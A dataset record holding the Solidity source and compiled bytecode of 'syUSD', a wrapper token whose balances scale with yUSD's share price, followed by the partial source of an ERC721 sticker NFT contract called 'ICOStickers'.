0x20bef22f92fd1c2d50765c0d26f5a238219e1c1a
pragma solidity ^0.5.16; interface yCurve { function get_virtual_price() external view returns(uint256); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function getPricePerFullShare() external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; IERC20 public yUSD = IERC20(0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c); yCurve public yCRV = yCurve(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); uint256 public num = 1000000000000000000; uint256 private _totalSupply; function scalingFactor() public view returns (uint256) { uint256 virtualPrice = yCRV.get_virtual_price(); uint256 pricePerFullShare = yUSD.getPricePerFullShare(); return virtualPrice.mul(pricePerFullShare).div(num); } function totalSupply() public view returns (uint256) { return _totalSupply.mul(scalingFactor()).div(num); } function totalSupplyUnderlying() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account].mul(scalingFactor()).div(num); } function balanceOfUnderlying(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { uint256 amountUnderlying = amount.mul(num).div(scalingFactor()); _transfer(_msgSender(), recipient, amountUnderlying); return true; } function allowance(address owner, address spender) public view returns (uint256) { if (_allowances[owner][spender] == uint(-1)){ return _allowances[owner][spender]; } return _allowances[owner][spender].mul(scalingFactor()).div(num); } function allowanceUnderlying(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { uint256 amountUnderlying = amount; if (amount != uint(-1)){ amountUnderlying = amount.mul(num).div(scalingFactor()); } _approve(_msgSender(), spender, amountUnderlying); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { uint256 amountUnderlying = amount.mul(num).div(scalingFactor()); _transfer(sender, recipient, amountUnderlying); if (_allowances[sender][_msgSender()] != uint(-1)) { _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amountUnderlying, "ERC20: transfer amount exceeds allowance")); } return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(_allowances[_msgSender()][spender] != uint(-1), "ERC20: allowance at max"); uint256 addedValueUnderlying = addedValue.mul(num).div(scalingFactor()); _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValueUnderlying)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 subtractedValueUnderlying = subtractedValue.mul(num).div(scalingFactor()); _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValueUnderlying, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); if (_allowances[account][_msgSender()] != uint(-1)) { _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract syUSD is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; constructor () public ERC20Detailed("Stable yUSD", "syUSD", 18) {} function mint(uint256 amount) public { yUSD.safeTransferFrom(msg.sender, address(this), amount); _mint(msg.sender, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); yUSD.safeTransfer(msg.sender, amount); } function getPricePerFullShare() public view returns (uint256) { return scalingFactor(); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80634e70b1dc116100b8578063a0712d681161007c578063a0712d68146105fc578063a457c2d71461062a578063a9059cbb14610690578063dd62ed3e146106f6578063ed3437f81461076e578063fea61faa1461078c57610137565b80634e70b1dc1461049b57806370a08231146104b957806377c7b8fc1461051157806384a23e631461052f57806395d89b411461057957610137565b8063313ce567116100ff578063313ce56714610341578063374159481461036557806339509351146103af5780633af9e6691461041557806342966c681461046d57610137565b8063066a99531461013c57806306fdde03146101b4578063095ea7b31461023757806318160ddd1461029d57806323b872dd146102bb575b600080fd5b61019e6004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107aa565b6040518082815260200191505060405180910390f35b6101bc610831565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fc5780820151818401526020810190506101e1565b50505050905090810190601f1680156102295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102836004803603604081101561024d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108d3565b604051808215151515815260200191505060405180910390f35b6102a561094e565b6040518082815260200191505060405180910390f35b610327600480360360608110156102d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610985565b604051808215151515815260200191505060405180910390f35b610349610b3b565b604051808260ff1660ff16815260200191505060405180910390f35b61036d610b52565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103fb600480360360408110156103c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b78565b604051808215151515815260200191505060405180910390f35b6104576004803603602081101561042b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d77565b6040518082815260200191505060405180910390f35b6104996004803603602081101561048357600080fd5b8101908080359060200190929190505050610dbf565b005b6104a3610e19565b6040518082815260200191505060405180910390f35b6104fb600480360360208110156104cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1f565b6040518082815260200191505060405180910390f35b610519610e94565b6040518082815260200191505060405180910390f35b610537610ea3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610581610ec9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c15780820151818401526020810190506105a6565b50505050905090810190601f1680156105ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106286004803603602081101561061257600080fd5b8101908080359060200190929190505050610f6b565b005b6106766004803603604081101561064057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc7565b604051808215151515815260200191505060405180910390f35b6106dc600480360360408110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c6565b604051808215151515815260200191505060405180910390f35b6107586004803603604081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611116565b6040518082815260200191505060405180910390f35b6107766112f3565b6040518082815260200191505060405180910390f35b610794611470565b6040518082815260200191505060405180910390f35b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c95780601f1061089e576101008083540402835291602001916108c9565b820191906000526020600020905b8154815290600101906020018083116108ac57829003601f168201915b5050505050905090565b6000808290507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83146109315761092e61090b6112f3565b6109206004548661147a90919063ffffffff16565b61150090919063ffffffff16565b90505b61094361093c61154a565b8583611552565b600191505092915050565b60006109806004546109726109616112f3565b60055461147a90919063ffffffff16565b61150090919063ffffffff16565b905090565b6000806109b66109936112f3565b6109a86004548661147a90919063ffffffff16565b61150090919063ffffffff16565b90506109c3858583611749565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a2d61154a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b2f57610b2e85610a7961154a565b610b29846040518060600160405280602881526020016124e660289139600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610adf61154a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff9092919063ffffffff16565b611552565b5b60019150509392505050565b6000600860009054906101000a900460ff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60016000610ba761154a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a20616c6c6f77616e6365206174206d617800000000000000000081525060200191505060405180910390fd5b6000610cc3610ca06112f3565b610cb56004548661147a90919063ffffffff16565b61150090919063ffffffff16565b9050610d6c610cd061154a565b85610d678460016000610ce161154a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b611552565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc93382611b47565b610e163382600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cff9092919063ffffffff16565b50565b60045481565b6000610e8d600454610e7f610e326112f3565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147a90919063ffffffff16565b61150090919063ffffffff16565b9050919050565b6000610e9e6112f3565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f615780601f10610f3657610100808354040283529160200191610f61565b820191906000526020600020905b815481529060010190602001808311610f4457829003601f168201915b5050505050905090565b610fba333083600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dd0909392919063ffffffff16565b610fc43382611ed6565b50565b600080610ff8610fd56112f3565b610fea6004548661147a90919063ffffffff16565b61150090919063ffffffff16565b90506110bb61100561154a565b856110b6846040518060600160405280602581526020016125a2602591396001600061102f61154a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff9092919063ffffffff16565b611552565b600191505092915050565b6000806110f76110d46112f3565b6110e96004548661147a90919063ffffffff16565b61150090919063ffffffff16565b905061110b61110461154a565b8583611749565b600191505092915050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561124057600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506112ed565b6112ea6004546112dc6112516112f3565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147a90919063ffffffff16565b61150090919063ffffffff16565b90505b92915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561135e57600080fd5b505afa158015611372573d6000803e3d6000fd5b505050506040513d602081101561138857600080fd5b810190808051906020019092919050505090506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166377c7b8fc6040518163ffffffff1660e01b815260040160206040518083038186803b15801561140557600080fd5b505afa158015611419573d6000803e3d6000fd5b505050506040513d602081101561142f57600080fd5b8101908080519060200190929190505050905061146960045461145b838561147a90919063ffffffff16565b61150090919063ffffffff16565b9250505090565b6000600554905090565b60008083141561148d57600090506114fa565b600082840290508284828161149e57fe5b04146114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124c56021913960400191505060405180910390fd5b809150505b92915050565b600061154283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612091565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806125546024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061247d6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061252f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611855576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806124386023913960400191505060405180910390fd5b6118c08160405180606001604052806026815260200161249f602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611953816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611aac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a71578082015181840152602081019050611a56565b50505050905090810190601f168015611a9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061250e6021913960400191505060405180910390fd5b611c388160405180606001604052806022815260200161245b602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c8f8160055461215790919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611dcb838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506121a1565b505050565b611ed0848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506121a1565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611f8e81600554611abf90919063ffffffff16565b600581905550611fe5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808311829061213d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121025780820151818401526020810190506120e7565b50505050905090810190601f16801561212f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161214957fe5b049050809150509392505050565b600061219983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ff565b905092915050565b6121c08273ffffffffffffffffffffffffffffffffffffffff166123ec565b612232576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310612281578051825260208201915060208101905060208303925061225e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146122e3576040519150601f19603f3d011682016040523d82523d6000602084013e6122e8565b606091505b509150915081612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156123e65780806020019051602081101561237f57600080fd5b81019080805190602001909291905050506123e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612578602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b821415801561242e5750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820758933dc9b387e898468c55880eabd28394eb24833ac887ed91e3082b9f50ca964736f6c63430005100032
{"success": true, "error": null, "results": {}}
10,432
0x238c0ebf1af19b9a8881155b4fffaa202be50d35
pragma solidity ^0.5.2; interface ERC721TokenReceiver { /** * @dev Handle the receipt of a NFT. The ERC721 smart contract calls this function on the * recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return * of other than the magic value MUST result in the transaction being reverted. * Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` unless throwing. * @notice The contract address is always the message sender. A wallet/broker/auction application * MUST implement the wallet interface if it will accept safe transfers. * @param _operator The address which called `safeTransferFrom` function. * @param _from The address which previously owned the token. * @param _tokenId The NFT identifier which is being transferred. * @param _data Additional data with no specified format. */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external returns(bytes4); } contract ICOStickers { using SafeMath for uint256; using SafeMath for int256; address constant internal NULL_ADDRESS = 0x0000000000000000000000000000000000000000; // ERC721 requires ERC165 mapping(bytes4 => bool) internal supportedInterfaces; // ERC721 address[] internal idToOwner; address[] internal idToApprovals; mapping (address => uint256) internal ownerToNFTokenCount; mapping (address => mapping (address => bool)) internal ownerToOperators; bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; // ERC721Metadata string constant public name = "0xchan ICO Stickers"; string constant public symbol = "ZCIS"; // Custom string constant internal uriStart = "https://0xchan.net/stickers/obj_properties/"; uint256[] public tokenProperty; address[] public originalTokenOwner; address internal badgeGiver; address internal owner; address internal newOwner; // ERC721 Events event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); modifier canOperate(uint256 _tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]); _; } modifier canTransfer(uint256 _tokenId) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || getApproved(_tokenId) == msg.sender || ownerToOperators[tokenOwner][msg.sender] ); _; } modifier validNFToken(uint256 _tokenId) { require(idToOwner[_tokenId] != NULL_ADDRESS); _; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyBadgeGiver { require(msg.sender == badgeGiver); _; } constructor() public { supportedInterfaces[0x01ffc9a7] = true; // ERC165 supportedInterfaces[0x80ac58cd] = true; // ERC721 supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable owner = msg.sender; badgeGiver = msg.sender; } // Custom functions function setNewOwner(address o) public onlyOwner { newOwner = o; } function acceptNewOwner() public { require(msg.sender == newOwner); owner = msg.sender; } function revokeOwnership() public onlyOwner { owner = NULL_ADDRESS; newOwner = NULL_ADDRESS; } function setBadgeGiver(address g) public onlyOwner { badgeGiver = g; } function giveSticker(address _to, uint256 _property) public onlyBadgeGiver { require(_to != NULL_ADDRESS); uint256 _tokenId = tokenProperty.length; idToOwner.length ++; idToApprovals.length ++; tokenProperty.length ++; originalTokenOwner.length ++; addNFToken(_to, _tokenId); tokenProperty[_tokenId] = _property; originalTokenOwner[_tokenId] = _to; emit Transfer(NULL_ADDRESS, _to, _tokenId); } // ERC721Enumerable functions function totalSupply() external view returns(uint256) { return tokenProperty.length; } function tokenOfOwnerByIndex(uint256 _tokenId) external view returns(address _owner) { _owner = idToOwner[_tokenId]; require(_owner != NULL_ADDRESS); } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < tokenProperty.length); return _index; } // ERC721Metadata functions function tokenURI(uint256 _tokenId) validNFToken(_tokenId) public view returns (string memory) { return concatStrings(uriStart, uint256ToString(_tokenId)); } // ERC721 functions function balanceOf(address _owner) external view returns(uint256) { require(_owner != NULL_ADDRESS); return ownerToNFTokenCount[_owner]; } function ownerOf(uint256 _tokenId) external view returns(address _owner){ _owner = idToOwner[_tokenId]; require(_owner != NULL_ADDRESS); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external { _safeTransferFrom(_from, _to, _tokenId, _data); } 